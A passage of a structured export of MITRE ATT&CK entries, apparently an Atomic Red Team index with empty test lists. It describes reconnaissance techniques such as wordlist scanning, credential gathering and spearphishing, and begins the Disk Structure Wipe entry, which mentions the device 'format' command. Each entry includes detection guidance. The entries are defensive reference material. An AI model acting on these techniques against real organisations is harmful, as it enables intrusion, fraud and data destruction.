of the adversary lifecycle, such as during Initial Access. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - PRE x_mitre_version: '1.1' type: attack-pattern id: attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161 created: '2020-10-02T14:55:43.815Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1589/001 external_id: T1589.001 - source_name: ATT ScanBox description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.' url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks - source_name: Detectify Slack Tokens description: Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved October 19, 2020. url: https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/ - source_name: GitHub truffleHog description: Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020. url: https://github.com/dxa4481/truffleHog - source_name: Register Uber description: McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020. url: https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/ - source_name: GitHub Gitrob description: 'Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.' url: https://github.com/michenriksen/gitrob - source_name: CNET Leaks description: Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020. url: https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/ - source_name: Okta Scatter Swine 2022 description: 'Okta. (2022, August 25). Detecting Scatter Swine: Insights into a Relentless Phishing Campaign. Retrieved February 24, 2023.' url: https://sec.okta.com/scatterswine - source_name: Forbes GitHub Creds description: Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020. url: https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196 - source_name: Register Deloitte description: 'Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy ''login details leaked''. Retrieved October 19, 2020.' url: https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1595.003: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack x_mitre_contributors: - Jan Petrov, Citi - Elvis Veliz, Citi - Richard Julian, Citi object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--bed04f7d-e48a-4e76-bd0f-4c57fe31fc46 created: '2022-03-04T18:56:38.844Z' x_mitre_version: '1.0' external_references: - source_name: mitre-attack external_id: T1595.003 url: https://attack.mitre.org/techniques/T1595/003 - source_name: ClearSky Lebanese Cedar Jan 2021 url: https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf description: ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021. - source_name: GCPBucketBrute url: https://rhinosecuritylabs.com/gcp/google-cloud-platform-gcp-bucket-enumeration/ description: Spencer Gietzen. (2019, February 26). Google Cloud Platform (GCP) Bucket Enumeration and Privilege Escalation. Retrieved March 4, 2022. - source_name: S3Recon GitHub url: https://github.com/clarketm/s3recon description: Travis Clarke. (2020, March 21). S3Recon GitHub. Retrieved March 4, 2022. x_mitre_deprecated: false revoked: false description: "Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. While this technique employs similar methods to [Brute Force](https://attack.mitre.org/techniques/T1110), its goal is the identification of content and infrastructure rather than the discovery of valid credentials. Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591), or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).\n\nFor example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website’s pages and directories.(Citation: ClearSky Lebanese Cedar Jan 2021) This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [Brute Force](https://attack.mitre.org/techniques/T1110)). \ \n\nAs cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure.(Citation: S3Recon GitHub)(Citation: GCPBucketBrute) Once storage objects are discovered, adversaries may leverage [Data from Cloud Storage](https://attack.mitre.org/techniques/T1530) to access valuable information that can be exfiltrated or used to escalate privileges and move laterally. " modified: '2022-05-24T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Wordlist Scanning x_mitre_detection: "Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Monitor for access to S3 buckets, especially those that are not intended to be publicly accessible. \n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. \n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1591.004: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--cc723aff-ec88-40e3-a224-5af9fd983cc4 type: attack-pattern created: '2020-10-02T16:37:30.015Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1591.004 url: https://attack.mitre.org/techniques/T1591/004 - source_name: ThreatPost Broadvoice Leak url: https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/ description: Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020. modified: '2022-04-25T14:00:00.188Z' name: Identify Roles description: |- Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1598: technique: modified: '2023-09-08T20:28:49.600Z' name: Phishing for Information description: "Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code.\n\nAll forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.\n\nAdversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)\n\nPhishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) \n\nPhishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_contributors: - Philip Winther - Sebastian Salla, McAfee - Robert Simmons, @MalwareUtkonos - Ohad Zaidenberg, @ohad_mz - Liora Itkin - Liran Ravich, CardinalOps - Scott Cook, Capital One x_mitre_deprecated: false x_mitre_detection: |- Depending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) When it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites. Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts). x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - PRE x_mitre_version: '1.3' x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Application Log: Application Log Content' - 'Network Traffic: Network Traffic Flow' type: attack-pattern id: attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a created: '2020-10-02T17:07:01.502Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1598 external_id: T1598 - source_name: ACSC Email Spoofing description: Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020. url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf - source_name: Avertium callback phishing description: Avertium. (n.d.). EVERYTHING YOU NEED TO KNOW ABOUT CALLBACK PHISHING. Retrieved February 2, 2023. url: https://www.avertium.com/resources/threat-reports/everything-you-need-to-know-about-callback-phishing - source_name: TrendMictro Phishing description: Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020. url: https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html - source_name: Sophos Attachment description: 'Ducklin, P. (2020, October 2). Serious Security: Phishing without links – when phishers bring along their own web pages. Retrieved October 20, 2020.' url: https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/ - source_name: cyberproof-double-bounce description: Itkin, Liora. (2022, September 1). Double-bounced attacks with email spoofing . Retrieved February 24, 2023. url: https://blog.cyberproof.com/blog/double-bounced-attacks-with-email-spoofing-2022-trends - source_name: PCMag FakeLogin description: Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020. url: https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages - source_name: Microsoft Anti Spoofing description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020. url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide - source_name: Microsoft OAuth Spam 2022 description: Microsoft. (2023, September 22). Malicious OAuth applications abuse cloud email services to spread spam. Retrieved March 13, 2023. url: https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/ - source_name: ThreatPost Social Media Phishing description: 'O''Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020.' url: https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/ - source_name: Proofpoint-spoof description: Proofpoint. (n.d.). What Is Email Spoofing?. Retrieved February 24, 2023. url: https://www.proofpoint.com/us/threat-reference/email-spoofing - source_name: GitHub Phishery description: Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020. url: https://github.com/ryhanson/phishery - source_name: Palo Alto Unit 42 VBA Infostealer 2014 description: Vicky Ray and Rob Downs. (2014, October 29). Examining a VBA-Initiated Infostealer Campaign. Retrieved March 13, 2023. url: https://unit42.paloaltonetworks.com/examining-vba-initiated-infostealer-campaign/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1595.001: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--db8f5003-3b20-48f0-9b76-123e44208120 type: attack-pattern created: '2020-10-02T16:54:23.193Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1595.001 url: https://attack.mitre.org/techniques/T1595/001 - source_name: Botnet Scan url: https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf description: Dainotti, A. et al. (2012). Analysis of a “/0” Stealth Scan from a Botnet. Retrieved October 20, 2020. modified: '2022-04-25T14:00:00.188Z' name: Scanning IP Blocks description: |- Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Adversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1590.001: technique: modified: '2022-10-21T14:32:05.257Z' name: Domain Properties description: |- Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Where third-party cloud providers are in use, this information may also be exposed through publicly available API endpoints, such as GetUserRealm and autodiscover in Office 365 environments.(Citation: Azure Active Directory Reconnaisance)(Citation: Office 265 Azure Domain Availability) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_platforms: - PRE x_mitre_is_subtechnique: true x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.1' x_mitre_contributors: - Jannie Li, Microsoft Threat Intelligence Center (MSTIC) type: attack-pattern id: attack-pattern--e3b168bd-fcd7-439e-9382-2e6c2f63514d created: '2020-10-02T15:46:24.670Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1590/001 external_id: T1590.001 - source_name: Circl Passive DNS description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020. url: https://www.circl.lu/services/passive-dns/ - source_name: Azure Active Directory Reconnaisance description: 'Dr. Nestori Syynimaa. (2020, June 13). Just looking: Azure Active Directory reconnaissance as an outsider. Retrieved May 27, 2022.' url: https://o365blog.com/post/just-looking/ - source_name: DNS Dumpster description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020. url: https://dnsdumpster.com/ - source_name: Office 265 Azure Domain Availability description: 'Microsoft. (2017, January 23). (Cloud) Tip of the Day: Advanced way to check domain availability for Office 365 and Azure. Retrieved May 27, 2022.' url: https://docs.microsoft.com/en-us/archive/blogs/tip_of_the_day/cloud-tip-of-the-day-advanced-way-to-check-domain-availability-for-office-365-and-azure - source_name: WHOIS description: NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020. url: https://www.whois.net/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1596.005: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--ec4be82f-940c-4dcb-87fe-2bbdd17c692f type: attack-pattern created: '2020-10-02T17:00:44.586Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1596.005 url: https://attack.mitre.org/techniques/T1596/005 - source_name: Shodan url: https://shodan.io description: Shodan. (n.d.). Shodan. Retrieved October 20, 2020. modified: '2022-04-25T14:00:00.188Z' name: Scan Databases description: |- Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan) Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1591.001: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--ed730f20-0e44-48b9-85f8-0e2adeb76867 type: attack-pattern created: '2020-10-02T16:32:33.126Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1591.001 url: https://attack.mitre.org/techniques/T1591/001 - source_name: ThreatPost Broadvoice Leak url: https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/ description: Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020. - source_name: SEC EDGAR Search url: https://www.sec.gov/edgar/search-and-access description: U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August 27, 2021. modified: '2022-04-25T14:00:00.188Z' name: Determine Physical Locations description: |- Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1598.001: technique: x_mitre_platforms: - PRE x_mitre_domains: - enterprise-attack x_mitre_contributors: - Robert Simmons, @MalwareUtkonos object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--f870408c-b1cd-49c7-a5c7-0ef0fc496cc6 type: attack-pattern created: '2020-10-02T17:08:07.742Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1598.001 url: https://attack.mitre.org/techniques/T1598/001 - source_name: ThreatPost Social Media Phishing url: https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/ description: 'O''Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020.' modified: '2022-04-25T14:00:00.188Z' name: Spearphishing Service description: |- Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: reconnaissance x_mitre_detection: |- Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts). Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Application Log: Application Log Content' - 'Network Traffic: Network Traffic Flow' - 'Network Traffic: Network Traffic Content' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] impact: T1561.002: technique: modified: '2023-05-09T14:00:00.188Z' name: Disk Structure Wipe description: "Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.\n\nOn a network devices, adversaries may reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `format`.(Citation: format_cmd_cisco)\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: impact x_mitre_contributors: - Austin Clark, @c2defense x_mitre_deprecated: false x_mitre_detection: |- Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for direct access read/write attempts using the \\\\.\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity. For network infrastructure devices, collect AAA logging to monitor for `format` commands being run to erase the file structure and prevent recovery of the device. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '1.1' x_mitre_data_sources: - 'Driver: Driver Load' - 'Drive: Drive Modification' - 'Drive: Drive Access' - 'Command: Command Execution' - 'Process: Process Creation' x_mitre_impact_type: - Availability type: attack-pattern id: attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9 created: '2020-02-20T22:10:20.484Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1561/002 external_id: T1561.002 - source_name: format_cmd_cisco description: Cisco. (2022, August 16). format - Cisco IOS Configuration Fundamentals Command Reference. Retrieved July 13, 2022. url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/F_through_K.html#wp2829794668 - source_name: Unit 42 Shamoon3 2018 description: Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019. url: https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/ - source_name: Palo Alto Shamoon Nov 2016 description: 'Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.' url: http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/ - source_name: FireEye Shamoon Nov 2016 description: 